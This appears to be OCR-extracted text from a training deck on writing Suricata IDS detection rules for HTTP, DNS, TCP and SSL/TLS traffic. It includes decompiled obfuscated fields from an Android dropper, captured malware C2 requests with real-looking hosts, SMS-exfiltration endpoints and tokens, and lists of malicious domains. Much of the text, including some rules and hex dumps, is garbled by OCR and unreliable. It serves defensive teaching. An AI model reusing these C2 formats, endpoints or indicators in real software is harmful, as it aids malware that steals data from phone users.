this. moIHQe = "otededt oxtrsie letina noesne otededt oxtrsie letina noesne wrsisely atsmisnbir ldian®;
this.JBZcay = 58;
this.iMdixwdTexd = "otededt oxtrsie letina noesne ldorbgar amlkcream ogtitoieo seikmlesi eilesxc mtieairt v eganva ltainru 1




Writing rules for HTTP protocol — HQWar Android dropper

E} android package com.utduegicld.idhldeu;

v i com
w 3 badukgb
w £ badukgb
(5 BOKzEF
& MVDYSnsMUH;j
drFeLvgdig;

OxWKLt
@ Qo P r gYHAZBRVP;

(& VUdEIBzaiD boo 1OWZIViVFc;
(3 ZEghgWa g JIqgsXnvz;

nwCquBMsLE;

(& nKQEUQDWOW asLjzupkyT;
(9 ziEoQpHhjG GYEQYFID;
' KRWLGXIS

v i utduegicld string ;mcr.wgpuwo;

w £ idhldeu int zEPRwv;

fjcuhjf .. ilpeal AnISIRDREQ) {

iPclea .. zsaAPrKl this.xvAnIFnz6 = "dahasar girekiro p dahasar girekiro p rimipe catsrvr ekno tunino arsgiacibeaumrdad vovoe nieikt dliaultiw scisuhebudnin®;
this.gyHAzbRVP = "niherl rmoeneitle rimipe catsrvr ekno tcignoispnsnp etaic nieikt dliaultiw scisuhobudnin®;
this.zEPRwY = 17388;
this.BjcympQ = "ekuniase iwsjlto iau tcignoispnsnp etaic uioing soetaolitr ltgsnpe rn iletimvseodslh lgenie wetbsv™;
this.MnmtyIjThewi = new int[]{ex26e9, ex91B, 14818, e@x3a, 2770, 91, 82, 62};
this.dFELvgdkg = "tcignoispnsnp etaic tcignoispnsnp etaic niherl rmoeneitle dahasar girekiro p dahasar girekire p";
this.VHZITIWr = "wbnloilergi®;
this.jIggsxnyz = "tunine arsgiacibeaumrdad uvovee rimipe catsrvr ekne rimipe catsrvr ekno™;
this.iowzIvivFc = false;
this.zDRCMMPULBo = "uioing soetaolitr ltgsnpe rn rimipe catsrvr ekno niherl rmoeneitle dahasar girekiro p";
this.BIjoec = “ekuniase iwsjlto lau uioing scetaclitr ltgsnpe rn tcignoispnsnp etailc aisasri iatnltdabph™;
this.oyEqyFIp = "rimipe catsrvr ekno aisasri iatnltdabph tunino arsgiacibeaumrdad vovoe tunino arsgiacibeaumrdad uvovoe™;
this.mwcquBMsLlk = "rtmipe catsrvr ekno uioing soetaolitr ltgsnpe rn niherl rmoeneitle”;
this.HZFRMGs = "ietimvseodslh lgenie wetbsv ietimvseodslh lgenie wetbsv tcigneispnsnp etaic tunino arsgiacibeaumrdad uowvoe®;
this.osljzupkyT = "dahasar girekiroe p nieikt dliaultiw scisuhobudnin niherl rmoeneitle tcignoispnsnp etaic tcignoispnsnp etaic”;
this.wkkiWlgXJs = "dahasar girekiro p iletimvseodslh lgenie wetbsv tcignoispnsnp etaic”;

~ing HZFRMGS;

[] MnmtyIjThewi;

~ing VHEJITINr;
XVANIFNz&;

] WL LA e
ot

o




Writing rules for HTTP protocol — HQWar Android dropper

4 android package com.netmbvi.isaeienw;

v com class DeCnoAoD {
w 3 netmbwi string ASwTGsa;
v H isaeienw string EUBrsFVEsSWV;
| : hAINGSDeoD boolean GomsLOILsLD;
elacseimaspz .. oSDeo “ing JWdypRY;
hGlbrenl .. zIEeltVasE WREFDEX;

b " o RQxBLAMAr;

v i tpsasaufgq RUYbZAFOCUNL;
+ f tpsasaufgg ng UTxareywuky;

© AWAMWKIFPp int aghcnxykegsf;

(® KsggodoMfu

® MucFrC

@ SypMATjb LmguLaw;
cJEjf i

o _ L oCdreqrIi;

(5 GARPKSeM wqgWLcaoh;

(& kTNKKIN 2 YSFRYUY;

DeCnoaoD() {
this.Roxptamar = "zrtlsrcrsiscepyiero despd whtznrysies syoact mhlmua roarsdiatnbime aeonau glignlcuhipu moesp™;
this.JwdypRY = "glignlcuhipu moesp glignlcuhipu moesp udirtar mitinfur icstgu rorieio hib hesrlnyds hisvil g";
this.binpobopo = new int[]{1198, 24, 9379, 8xF73, 29};
this.ascewsc = "whiznrysies syocact mhlmua asnudipsrlnap 1 eacths munotlo uepimi roarsdiatnbime aeonau”™;
this.ocdregrIi = "glignlcuhipu moesp icstgu rorieio hib remlhana naceyr icstgu rcrieio hib™;
this.mkMEGm = "icstgu rcorieio hib icstgu rorieio hib ztlsrcrsiscepylero despd asnudipsrlnap i hesrlnyds hisvil g®;
this.NhEFDEX = 972;
this.ysrkyuy = "remlhana naceyr icstgu rorieio hib whitznrysies syoact mhlmua glignlcuhipu moesp™;
this.mouiaw = "asnudipsrlnap 1 asnudipsrlnap i roarsdiatnbime aeonau glignlcuhipu moesp®;
this.RUybzafocuhl = "asnudipsrlnap 1 whtznrysies syocact mhlmua asnudipsrlnap i eaoths munotlo uepimi hesrlnyds hisvil g®;
this.UTxarEyiuky = "icstgu rcrieio hib ztlsrorsiscepyiero despd ztlsrorsiscepylero despd hesrlnyds hisvil g remlhana naceyr™;
this.abmsLoJILsLD = false;
this.caehyl = "hesrlnyds hiswil g hesrlnyds hisvil g ztlsrcrsiscepylero despd ztlsrorsiscepyiero despd™;
this.EUBrsFYEsSHY = "ztlsrcrsiscepylero despd roarsdiatnbime aeonau eaocths munotlo uepimi whiznrysies syocact mhlmua®;
this.wggwicach = "eaoths munotlo uepimi eaoths munotlo uepimi icstgu rorielo hib icstgu rorieio hib™;
this.AsvTesa = "lapoesy”;
this.aghcnxykegsf = BX2FAT;




Writing rules for HTTP protocol — HQWar Android dropper

H# android package com.snhpte.ioeaeiamo;

v Hi com class
v 1 ngewidsdflw
~ f ngewidsdflw
9 GnRotUtdKfp
KaWTVByph
LKsRGIG
pdFsKARYHulm
(& yRuBnyGHT
w 3 snhpte
v f ioeaeiamo
bjburkl ..
TrtlsEs .. rcC
rgawOlw .. yeSblhks




Writing rules for HTTP protocol — HQWar Android dropper

ofall.php HTTP/1.1

3

r-Agent: Dalvik/2.1.8 (Linux; U; Android 5.1.1; SM-1128G Build/LMY47X)
newadmd5645. top
Connectio eep-Alive
Accept-Encoding: gzip
Content-Type: application/x-www-form-urlencoded

p=1 POST folofad.php HTTP/1.1
Content-Length: 188
: Tbf3
Connection: Keep-Alive
Accept-Encoding: gzip
Content-Type: application/x-www-form-urlencoded

p=YJI3MjI4ZmNkM2 IwZmESNJVKMDdhMjVJZDF LY zk3Y2E2NmYSMYA0TU2 ZGVIMTQ30WViMz 1kZD]1 1
NGUzNmMwiid IwZm] 1Mz ZmZ Th jNA==

POST /olofal6.php HTTP/1.1
Content-Length: @
User-Agent: Dalvik/2.1.@ (Linux; U; Android 5.1.1; GT-N7185 Build/N2G470)

Keep-Alive
Accept-Encoding: gzip
Content-Type: application/x-www-form-urlencoded




Writing rules for HTTP protocol — HQWar Android dropper

POST fservice.php HTTP/1.1

Content-Length: 285

Content-Type: application/x-www-form-urlencoded
in fij

rbgkdoftccbfuyambrmcofgqsdetbmoud2=Androidf1=13¥345783A46+89
%2B1B47375536286=Lenovo+X2-EUE7=LENOVO&B=5.1. 18x=False&]l=18]12=

POST /service.php HTTP/1.1
C t-Length: 198
C trnt—Tva applicatiqnﬁx-www-fqrm-urlenched

POST rvice.php HTTR/1.1

Content-Length: 196

Content-Type: application/x-www-form-urlencoded
cenna.info

Connection: Keep-Alive

User-Agent: Apache-HttpClient/UNAVATLABLE (java

-Vh1wdvc qubunplrua1ktqwthmvwrt&g Andruldhl—
i .




Writing rules for HTTP protocol — HQWar Android dropper

POST fapi/ping.php HTTP/1.1
Content-Type: applicatio
Content-Length: 86
r-Agent: Dalvik/2.1.@ (Linux; U; Android 5.1.1; ASUS_Z7@12DE Build/MMB29P)
He » 64.44,51.187
Connection: Keep-Alive
Accept-Encoding: gzip

{"DEVICE_ID":"35fTac29ccBef97dl™,"INSTALL" :"1","SMS_ALLOW":"1","RELEASE_VERSION":"1.3"}

/api3/ping.php HTTP/1.1

r-Agent: Dalvik/2.1.8 (Linux; U; Android 5.1.1; ASUS_Ze@LD Build/LRX22G)
Host: carniw 84.info
Connection: Keep-Alive

Accept-Encoding: gzip
Content-Type: application/x-www-form-urlencoded
Content-Length: le4

POST fapi2/ping.php HTTR/1.1
Content-Type: ﬂppllCdtluﬂ

Content-Length:
H ; HTC One max Build/LRX22G)

Cunnwcty
Accept- Encudlnb gzip

{"DEVICE_ID":"22 3b3","RELEASE_WERSION":"1.9","MsG":"




Writing rules for HTTP protocol — HQWar Android dropper

POST /api/wl/load_sms.php HTTP/1.1
id: 68874a53-1754-48ff-add2-4888eb192289
token: Sft1vhh1ygfty5u?rfvva?ftlhuwyhd
cell: Android
country: IT
Content-Type: a i io n; charset=utf-3
Content-Length:
t: 88.99.175.152
C i (eep-Alive
Accept-Encoding: gzip
User-Agent: okhttp/3.18.8

{"id":"68874a53-1754-45ff-add2-4888eb19228
{"text™: "Wexvb2tzIGFA@IHlvdSEleHB1Y3RhbnRsess5d” "

POST /api/
id: dede@973-8c39 4h‘ -9831-26afea4c4345
token: Sftgvbhiygftygo?rfwyws7ftiguvybd
cell: Android
country: IT
Content-Type: application/json; charset=utf-8
tent-Length: 144
78.46.212.52
Connectix
Accept-Enc
User-Agent:

-266f0p4c4348", " :
{"text™: "VigsTHRoZSBvhmligh24 1}1 HIpZ2halg==", "number":"+30383@83337", "date"”: 1571443933088}
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Writing rules for DNS, TCP and SSL/TLS
protocols
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Writing rules for DNS, TCP and SSL/TLS protocols — Overview

In this track you will learn:
® Basic information about DNS, TCP and SSL/TLS protocols
e Keywords and tips for writing rules for these protocols

In this track you will practice:

® Writing rules for DNS, TCP and SSL/TLS protocols for a given traffic dump



DNS protocol

Browser \ oo |

WebServer

\e,Com o.
y Dle—l]
7 e _J
A55b'b
/ o ]

DNS Server



http://www.examle.com/

DNS protocol

M formbookdl peap

File Edit View Go Capture Analyze Statistice Telephony Wireless  Tools  Help
Adm 1 ® RE ] &= = e Qe

( |dns

No. Time Source Src.Port  Destination Dst.Port Protocol Length Info
15 @6:52:39.705587 18.14.8.2 51827 10.6.8.1 53 DNS 82 Standard query ©x@681 A www.brijvikastrust.com
16 86:52:48.187568 16.8.8.1 53 10.14.8.2 51827 DNS 112 Standard query response 8x@681 A www.brijvikastrust.com CNAME brijvikastrust.com A 289.99.16.234

Frame 31: 79 bytes on wire (632 bits), 79 bytes captured (632 bits) 69 1d ad
Ethernet II, Src: Intel _ed:ce:4d (9@:07:e9:ed:ce:4d), Dst: 36:96:69:1d:c6:a6 (36:96:69:1d:c6:a6) ee 7a
Internet Protocol Version 4, Src: 18.14.8.2, Dst: 19.0.8.1 db 8a sb R
UsErIDatagram Protocol, Src Port: 56282, Dst Port: 53 32 23 ;; detime \:\;\mv watch
v Domain Name System (query)
Transaction ID: @x835hb
v Flags: 8x@10@ Standard query
B..i vuvs wees 2... = Response: Message is a query
.eee e... .. . = Opcede: Standard query (@)

Truncated: Message is not truncated

Recursion desired: Do query recursively

Z: reserved (@)

e e Non-authenticated data: Unacceptable
Questions: 1
Answer RRs: @
Authority RRs: @
Additicnal RRs: @

¥ Queries

www . watchdetime.com: type A, class IN

Response In: 47

'Q i Flags (dns.flags), 2 bytes Packets: 67 * Displayed: 30 (44.8%) Profile: Default




Writing rules for DNS protocol — Example

example.com

alert udp $HOME_NET any -> any 53
(msg:"example.com DNS query";

content:"|@1 00 00 01 00 00 00 00 00 00|";
depth:10; offset:2;
content:" |07 |example|03|com|@0@|"; nocase;
distance:0; fast pattern;
classtype:unknown; sid:1000008; rev:1;)



Writing rules for DNS protocol — Example

To match exactly on example.com:

alert udp $HOME NET any -> any 53
(msg:"example.com DNS query";
content:"|@1 00 00 01 00 00 00 00 00 00
07 |example|@3|com|@0|";

nocase; depth:23; offset:2;
classtype:unknown; sid:1000008; rev:1;)



Writing rules for DNS protocol — Example

example.com

alert any -> any

(msg:"example.com DNS query";
content:"example.com"; endswith;

classtype:unknown; sid:1000009; rev:1;)

« Older variant:

To match exactly on example.com:

dns.query; content:"example.com"; bsize:11;



Writing rules for DNS protocol — Example

To not match on abcexample.comn.
— prepends a . character to help facilitate concise domain checks
"example.com" dns.query buffer becomes ".example.com”

alert dns any any -> any any
(msg:"example.com DNS query";
dns.query;

content:".example.com"; endswith;
classtype:unknown; sid:1000010; rev:1;)



Writing rules for DNS protocol — Datasets

e Allows for alerts on Indicators of Compromise (loCs), such as malicious
domains and IPs, without creating a rule for each loC

e Datasets use a simple CSV format where data is per line in the file

e Datatype: string, mdb, sha256 (baseéb4 for string, hex notation for
md5/sha256)

e Sets can be declared from the rule syntax or can optionally be defined in
the main config

e More information:;


https://suricata.readthedocs.io/en/latest/rules/datasets.html

Writing rules for DNS protocol — Datasets

alert dns any any -> any any

(msg:"DNS query to bad domain";

dns.query; dataset:isset,bad-domains,

load /etc/suricata/rules/bad-domains.list,
type string;

classtype:bad-unknown; sid:1000010; rev:1;)

hd letc/suricata/rules/bad-domains.list - Mousepad = =
File Edit Search View Document Help
d3d3LmIyaWp2awWthc3RydXNOLmNvbO==
d3d3LndhdGNoZGVeaWllLmNvbQ==
d3d3LmNjYzA5SMS5jb28=

d3d3LmVkb3N1bnN1as5jb20=

d3d3Lmxhc21iawxhdmF 3] aWFuYSspbmzZy
d3d3LnNhbmR5cGVuc2x1cisuZX0=
d3d3Lmx1aHU1NDMuY29t
d3d3LmVuzZ3dvLmluZma=]




Writing rules for DNS protocol — Phishing

accounts.google.com.notecia.inf.br — phishing domain

alert dns any any -> any any
(msg:"accounts.google.com phishing DNS query";
content:!"|@8|accounts|06|google|03|com|e0|";
dns.query; content:"accounts.google.com";
startswith;

classtype:social-engineering; sid:1000011; rev:1;)



Writing rules for DNS protocol — DNS Tunneling

DNS tunneling exploits DNS protocol to tunnel some data through a client-server model in DNS queries and
responses

® Request the URL Y3VyalW9zaXR5.example.comto be resolved
® The DNS server looks for ‘.com, then ‘example.com, but fails to find ' Y3 VyalW9zaXR5.example.coni in its database
® The DNS server forwards the request to example.com

® example.comis expected to return the appropriate IP; but it can return an arbitrary string, including C&C instructions



Writing rules for DNS protocol — DNS Tunneling

Look for unusual (long) DNS queries
Usually high frequency

Often FPs — make anti-FPs

[ Y|
@

) =

.google.com

=
~J

google-public - e.com
google-public-d .google.com
google-public .google.com
google-public .google.com
google-public-d .google.com
google-public-d €. com
google-public - €. com
google-public - .com
google-public-d - .com
google-public - .com
google-public - .com

google-public-dns-a. .com

google-public-d - .com

Dump of Backdoor.Win32.Denis traffic

query
query

tandard
rd g
query
query

® & ®

@ e ®

NULL
NULL
NULL
NULL
MNULL
NULL
NULL
NULL
NULL
NULL
NULL
NULL
NULL
NULL

. Com
. com
. com

. com

com
com
com

. Com
. Com
. Com
. Com
- Com
a.com

a.com




TCP protocol

e |ow-level protocols: where to look for malicious
patterns?

e Reversing the malware can be helpful: look for
specific bytes transferred

e Not areverse engineer? Just compare several traffic
dumps in order to find a pattern



Writing rules for TCP protocol — Miner

M Wireshark - Follow TCP Stream (tcp.stream eq 2) - miner.pcap

.StartProgram. ..

. 2 sarver phis, 1 furn.

Entire conversation (22 bytes)

Filter Qut This Stream Print Save as...

Transm on Control Protocol, Src Port: 49168, Dst Port:
v Data (12 bytes)




Writing rules for TCP protocol — Miner

alert tcp any 1024: -> any 1024:

(msg:"Miner activity";

flow:to_server,established;

dsize:12; content:"StartProgram"; classtype:coin-mining;
$id:1000012; rev:1;)

shark - Follow TCP Stream (tcp.stream eq 2) - minerpcap

....5tartProgram....ok

Filter Out This Stream Print Save as... Back Close




Writing rules for TCP protocol — Xaparo backdoor

v TCP Stream (tcp.stream eq 0) - xaparo.pcap

@ e ow
R -

o

=h 0o WO C
T o~k

m o= o
[

|

@ o~ oo

~ |
o
o)

ol

]
a
8
a

=~

2665 66 9
FERER ]

Entil
Find

Filter Out This S




Writing rules for TCP protocol — Xaparo backdoor

Ba
e
aa
e
Ba
aa

Find

Filter Out This S




Writing rules for TCP protocol — Xaparo backdoor — v.1

M Wireshark - Follow TCP Stream (tcp.stream eq 0) - xaparo.pcap

Filter Cut This

e
8

o
3l

g
2

]
(=
m

Dump

Stream Print

alert tcp any any -> any any
(msg:"Xaparo backdoor";
flow:established;

content:"|a@ 93 d2 ee|"; depth:4;
content:"|b5 45 f2|"; offset:5; depth:3;
classtype:trojan-activity; sid:1000013;
rev:1;)



Writing rules for TCP protocol — Xaparo backdoor —v.2

M Wireshark - Follow TCP Stream (tcp.stream eq 0) - xaparo.pcap

Filter Cut This

e
8

o
3l

g
2

]
(=
m

Dump

Stream Print

alert tcp any any -> any any

(msg:"Xaparo backdoor";

flow:established;

content:"|a@ 93 d2 ee|"; depth:4;
content:"|b5 45 f2|"; distance:1; within:3;
classtype:trojan-activity; sid:1000014;
rev:1;)



SSL/TLS protocol

e SSL - Secure Sockets Layer — a cryptographic protocol designed to provide
communication security over a computer network, developed by Netscape
Communications

e TLS - Transport Layer Security — an updated, more secure, version of SSL
e SSLis stilla more commonly used term, we will use “SSL/TLS” in this section
e HTTPS — Hyper Text Transfer Protocol Secure — an extension of the Hypertext Transfer

Protocol (HTTP) used for secure communication over a computer network. The
communication protocol is encrypted using SSL/TLS.



SSL/TLS protocol

CLIENT
Client Hello

Server Hello

Server sends certificate
Server request client's certificate
Server Key Exchange

Client sends certificate
Client Key Exchange

Change Cipher Spec
Handshake Finished

SSL HANDSHAKE PROTOCOL

SERVER

_ PHASE 1
" Establish Connection

 PHASE?2
" Server Authentication

. PHASE3
[ Client Authentication

PHASE 4
" Handshake Ends




SSL/TLS protocol

How to detect encrypted traffic?
e By fields of SSL/TLS certificate

e Use mitmproxy (man-in-the-middie)
and send decrypted traffic to NIDS



Writing rules for SSL/TLS protocol — Andromeda backdoor

File Edit

18.14.8.2
185.88.53
16.14.

185.8@
185.88

reless T

aaen

49161 185.88.53.93

.93 443 18.14.8.2

49161 185.88

66 49161 > 443 [SYN] Seq=0 Win=8192
66 443 > 49161 [SYN, ACK] Seq=8 Ack

TCP > 49161 [ACK] Ack=138 W]
TLSv1 1823 Server Hello, Certificate, Server|
xchange, Change Ciphe

c, Encrypted Han

-Springf icldl-e-
--u D is@--"9-|



Writing rules for SSL/TLS protocol — Andromeda backdoor

alert tcp $EXTERNAL_NET 443 -> $HOME_NET any
(msg:"Andromeda SSL certificate";
flow:from_server,established;

content:
content:
content:
content:
content:
content:
content:
content:

"|@9 @e|"; content:"|55 04 06|"; distance:0;
"|@2|Us"; distance:1; within:3;

"|55 @4 @8|"; distance:0;

"|e6|Denial"; distance:1; within:7; fast_pattern;
"|55 @4 @7|"; distance:0;

"|eb|Springfield"; distance:1; within:12;

"|55 @4 @al|"; distance:0;

"|@3|Dis"; distance:1; within:4;

classtype:trojan-activity; sid:1000010; rev:1;)



Writing rules for SSL/TLS protocol — Andromeda backdoor

alert $EXTERNAL_NET -> $HOME_NET any
(msg:"Andromeda SSL certificate";
flow:from_server,established;

content:"C=US, ST=Denial,
L=Springfield, 0=Dis";
classtype:trojan-activity; sid:1000011;
rev:1;)

* Older variant:


https://suricata.readthedocs.io/en/latest/rules/tls-keywords.html

Writing rules for SSL/TLS protocol — JA3

Quick way to create SSL/TLS sigs: use JA3, a method
for creating SSL/TLS client fingerprints

® ja3.hash —matches on JA3 hash (mdb)

® ja3.string — matches on JA3 string

® ja3s.hash — matches on JA3S hash (md5)
® ja3s.string — matches on JA3S string

Older variants: ja3_hash, ja3_string


https://github.com/salesforce/ja3

Writing rules for SSL/TLS protocol — JA3

Enable ja3 fingerprinting in suricata.yami.




Writing rules for SSL/TLS protocol — JA3

Hint: get values from eve.json

v /tmp/suricata/eve.json - Mousepad

File Edit Search View Document Help




Writing rules for SSL/TLS protocol — Andromeda backdoor

alert tls any any -> any any

(msg:"Andromeda JA3 fingerprint vi1";
content:"2201d8e006f8f005a6b415f61e677532";

classtype:trojan-activity; sid:1000012; rev:1;)

alert tls any any -> any any

(msg:"Andromeda JA3 fingerprint v2";
content:"769,47-53-5-10-49171-49172-

49161-49162-50-56-19-4,65281-0-5-10-11,23-24,0";

classtype:trojan-activity; sid:1000013; rev:1;)



Track 5

Advanced Suricata features

kaspersky




Advanced Suricata features — Overview

In this track you will learn:

e Advanced rule options that aren’t always necessary
but can help a lot in some cases

In this track you will practice:
e Selecting best options for arule

e \Writing rules for a given traffic dump



Advanced Suricata features — Overview

o Flowbits
° Xbits
e Threshold

e Baseb4 decoding
e Byte operations
e Transforms

e Luascripting

e [P reputation

e File extraction



Advanced Suricata features — Flowbits

e Create a chain of several rules for multiple packets that belong to one flow
(e.g.request-response)

e |[fthe firstrule fires, a "flag" is set

e Check the flag in subsequent rules



Advanced Suricata features — Flowbits

e flowbits:set,<name>;

e flowbits:isset,<name>;

e flowbits:toggle,<name>;

e flowbits:unset,<name>;

e flowbits:isnotset,<name>;

e flowbits:noalert;



Advanced Suricata features — Flowbits

(Linux; U; Android 5.1.1; HTC One_E8 Bui

Connection:
Accept-Ence

j PHP/5.4.45 j PHP/5.4.45

B
Content-Length:
p -
Connection:
Content-Ty

=5, max:




Advanced Suricata features — Flowbits

5.1.1; HTC One_E& Bui

j PHP/5.4.45 . 3 PHP/5.4.45

ntent-Types ETA content=
<META name=GENERATOR conten




Advanced Suricata features — Flowbits

Rule 1:

alert http $HOME NET any -> $EXTERNAL_NET any (msg:"Android Trojan-Spy";
flow:to server,established;

http.method; content:"GET";

http.uri; bsize:11; content:"/index.html"; fast pattern;
http.user_agent; content:"Android";

http.host; pcre:"/~\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}/";

classtype:trojan-activity; sid:1000012; rev:1;)

-4 e

Accept-Encoding: gzip



Advanced Suricata features — Flowbits

Rule 2:

alert http $EXTERNAL_NET any -> $HOME_ NET
any

(msg:"Android Trojan-Spy"; ] _
flow:from_server,established; : v R NG
http.stat code; content:"200";
http.stat _msg; content:"OK";
http.response_body; content:"<div —

LU 2 Se m e rl T e
pcre:"/~(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3} R
)?<\/div>/R";

E HTML PUBLIC "-//W3C//DTD HTML 4.8 Transitional//EN":>

<div id="W5">114.43.186.54</

classtype:trojan-activity; sid:1000013;
rev:1;)



Advanced Suricata features — Xbits

e Similar concept to flowbits, but for the same IP pair, the same session is not needed
(“global flowbits™)

e Includes a timeout feature

e Note: Multi-threading could make the order of sets and checks slightly unpredictable



Advanced Suricata features — Xbits

Examples of usage:
® Todrop any traffic to/from a compromised system after successful exploitation
® Todetect Metasploit traffic with multiple streams

® Todetect any style of communication that require multiple streams


https://www.cipherdyne.org/blog/2013/07/crossing-the-streams-in-ids-signature-languages.html

Advanced Suricata features — Xbits

e xbits:set,<name>,track
<ip_src|ip_dst|ip_pair>[,expire <seconds>];

e xbits:isset,<name>,track
<ip_src|ip_dst|ip_pair>[,expire <seconds>];

e xbits:toggle,<name>,track
<ip_src|ip_dst]|ip_pair>[,expire <seconds>];

e xbits:unset,<name>,track
<ip_src|ip_dst]|ip_pair>[,expire <seconds>];

e xbits:isnotset,<name>,track
<ip_src|ip_dst|ip_pair>;

e xbits:noalert;



Advanced Suricata features — Threshold

Controlling alert frequency:
e Perrule

e Global



Advanced Suricata features — Rule Threshold

threshold: type <threshold|limit|both>, track
<by_src|by _dst|by_rule|by both>, count <N>, seconds
<T>

® type threshold — a minimum threshold for a rule before it
generates alerts (on the Nth time the rule matches an alert is
generated)

® typelimit — alerts at most N times to make sure you're not
getting flooded with alerts

® type both —a combination of the “threshold” and “limit”
types

detection_filter: track <by src|by dst|by rule|by both>,
count <N>, seconds <T>

e to alert on every match after a threshold has been reached



Advanced Suricata features — Rule Threshold

Example: SMB brute force

alert tcp any 445 -> any any (msg:"SMB brute force
attack”;

flow:from_server,established;

content:"|fe 53 4d 42|"; offset:4; depth:4;
content:"|6d 00 00 cO|"; distance:4; within:4;

Credits g

reference:url,https://github.com/k8gege/Ladon;
classtype:attempted-recon; sid:1000014; rev:1;)

4e 28 e oe ae
B 82 20 B 89 B BB BB B0 BB BB BE BO




Advanced Suricata features — Global Threshold

/etc/suricata/threshold.config

- Jetc/suricata/threshold.config - Mousepad
File Edit Search View Document Help

Thresholding:

This feature is used to reduce the number of logged alerts for noisy rules.
Thresholding commands limit the number of times a particular event is lo
during a s fied time i

The syntax is the following:

threshold gen_id <gen id>, sig_id <sig_id>, type <limit|threshold|both>, track <by src|by dst=, count <n>, seconds <t=

sig id <sig_id>, type <limit|threshold|both>, track <by src|by dst>, count <n>, seconds <t>

<
<sid>, track <by src|by dst>, ip <ip|subnet>

The options are documented at https://suricata.readthedocs.io/en/latest/configuration/global-thresholds.html

Please note that thresholding can also be set inside a signature. The interaction between rule based thresholds
and global thresholds is documented h
https://suricata.readthedocs.io/en/latest/configuration/global-thresholds.html#global-thresholds-vs-rule-thresholds

# Limit to 10 alerts every 10 seconds for each source host
#threshold gen_id @, sig_id @, type threshold, track by src, count 18, seconds 18

# Limit to 1 a t ry 18 sec with sid 2404000
#threshold ge g id 24e type t old, track by dst, count 1, seconds 10

# Avoid to s t on f-secure upda
en from https: log.inliniac.net /f-secure-av-updates-and-suric
n_id 1, sig id 2 < by c, ip 217.110.97.12
n id 1, sig id 2012086, track by , ip 217.110.97.128/
id 2003614, track by src, ip 217.110.97.128/25




Advanced Suricata features — Base64 decoding

Two keywords must be used in order to generate an alert:
e base64 decode:bytes <value>, offset <value>, relative;

e base64 data - sticky buffer for content matching on the data previously
decoded by base64 decode



Advanced Suricata features — Base64 decoding

Example: SMTP backdoor

Recipe

From Base64

Content-Typ
Content-Tra

YhwgPGIyP
icj55QUeEIDTIw

PGlyPgt
boundary_@_f77 -44c3-a4fa-1cadbbafthe7al--




Advanced Suricata features — Base64 decoding

alert smtp $HOME _NET any -> $EXTERNAL_NET any
(msg:"SMTP Backdoor"; flow:to server,established;
content:"Content-Transfer-Encoding|3A| base64";
fast _pattern;
content:"Content-Disposition|3A| attachment\;
filename=";
content:".html|220D@GAGDOA | " ;

bytes 60,relative;

content:"Time: ";

content:"<br>UserName: ";
classtype:trojan-activity; sid:1000015; rev:1;)

PGhyPg
----boundary_@_f77

e wccounts

7-44c8-a4f@-1cebbafbaral

86-af37-44c8-a4f@-1c@bbathe7al--




Advanced Suricata features — Byte operations

e Dbyte test
e Dbyte jump
e byte_ extract

e Dbyte_math



Advanced Suricata features — Byte_test

byte test:<num of bytes>, [!]<operator>, <test
value>, <offset> [,relative][,<endian>][, string,
<num type>][, dce][, bitmask <bitmask value>];

Name System (response)

Example - No error

Message is a response

standard query (@)

alert udp any 53 -> any any (msg:"Cobalt HackTool";
dsize:>267;

content:"|00 01 @0 01|"; depth:4; offset:4; 5 15 2 1 49 19 45 13 19 sty
content:" |00 10 00 01|"; distance:9; i o e
content:" |01 @0 FF|"; within:3; distance:4;

threshold:type both,track by src,count 10,seconds
60; ot 34 45 6 ,
classtype:trojan-activity; sid:1000016; rev:1;) sedd 0 orse 6 et ameror




Advanced Suricata features — Byte_jump

byte jump:<num of bytes>, <offset> [, relative][, multiplier <mult value>][,
<endian>][, string, <num_type>][, align][, from_beginning][, from end][,
post _offset <value>][, dce][, bitmask <value>];

Example:

alert http any any -> $HOME_NET any
(msg:"Download PE instead of image";
flow:established,from_server;
http.header; content:"Content-Type|3a]
image";

http.response_body; content:"MZ"; within:2;

content:"PE|@@ @0|"; within:4;
classtype:trojan-activity; sid:1000017; rev:1;)



Advanced Suricata features — Byte_jump

http.response_body; content:"MzZ";

content:"PE|@0 @0|"

208000006 :
20800016 :
86800026 :
86800036 :
goeeee4e :
goeeeese:
208000006 :
8680008706 :
868606086 :
86880096 :
goeee0A0
g0e000B6 :
goeee0Ce
eogeesDe :
B68000E6 :
868060F6 :
goeeel1e6:
Bee0e116:
20830126
eoeee136:

4D)
B8
ea
8a
BE
69
74
(#10]
E{3]
34
7F
7F
7B
aF
7F
aF
ga
58
aa
ea

SA
(%]
ea
2a
1F
73
20
6F
1C
2C
2F
2F
a5
a4
2F
84
aa
45
aa
AB

o8
26
26
88
BA
28
62
64
AD
22
1C
22
58
29
18
1D
ee
B8
26
81

86-83
26 -8e
26-8e
80-8e
OE-88
78-72
65-28
65-2E
CF-72
9Cc-7@
9Cc-41
9c-47
9c-57
9Cc-22
9C-73
9Cc-73
go-ee
8a-4C
e -Ee
26-8e

aa
aa
ea
2a
B4
6F
72
ab
iD
iD
D
7D
7D
7D
iD
iD
aa
a1
aa
212]

J

26
26
ee
88
a9
67
75
eD
c3
c3
C3
C3
C3
c3
c3
c3
ee
a3
22
a9

within:4;

ge-a4
8e6-46
26-8e
80-8e
CDh-21
72-61
6E-26
BA-24
9Cc-72
9C-EC
9C-7F
9Cc-7B
9c-72
9C-oF
9Cc-72
9C-52
go-ee
8a-5E
g1-eB
86-98

aa
aa
ea
2a
B8
6D
69
ea
iD
DD
2F
a5
7D
a4
iD
69
aa
F1
a1
19

L)
L)
L)
po
o1
20
6E
L)
€3
o4
23
40
c2
1C
54
63
L)
F4
Bc
BF

ea-FF
86 -ae
g6-8e
g8-18
4C-CD
63-61
28-44
g6-8e
9Cc-72
9C-73
9C-C3
9C-7B
9Cc-52
9Cc-73
9C-73
68-72
go-ae
58-86
86 -8e
g6-8e

within:2;

FF
)
)
a1
21
6E
aF
)
7D
70
7D
7D
7F
7D
7D
70
@0
)
60
ce

26
26
ee
88
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6E
53
ee
c3
c3
C3
C3
C3
c3
c3
c3
ee
26
e85
a9

aa
aa
ea
515}
68
6F
28
ea
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9C
aC
ac
aC
aC
aC
9C
aa
aa
aa
ea

Bzp v
n

+
@

5-]
ar|a {o=!58L=!Th
is program canno
t be run in DOS
mode . br=$

6LH¥F}
4,"bp}
a/LbA}
af"bG}
T&PBU
at)b"}
aftbs}
oesbs )

br) bbr}
-bi] #bs}
ba/#b )
rb{#ab{}
-br }rbRa
bo#Lbs }
-br}Ths}
-bRichr}

PE Lew ~EIX
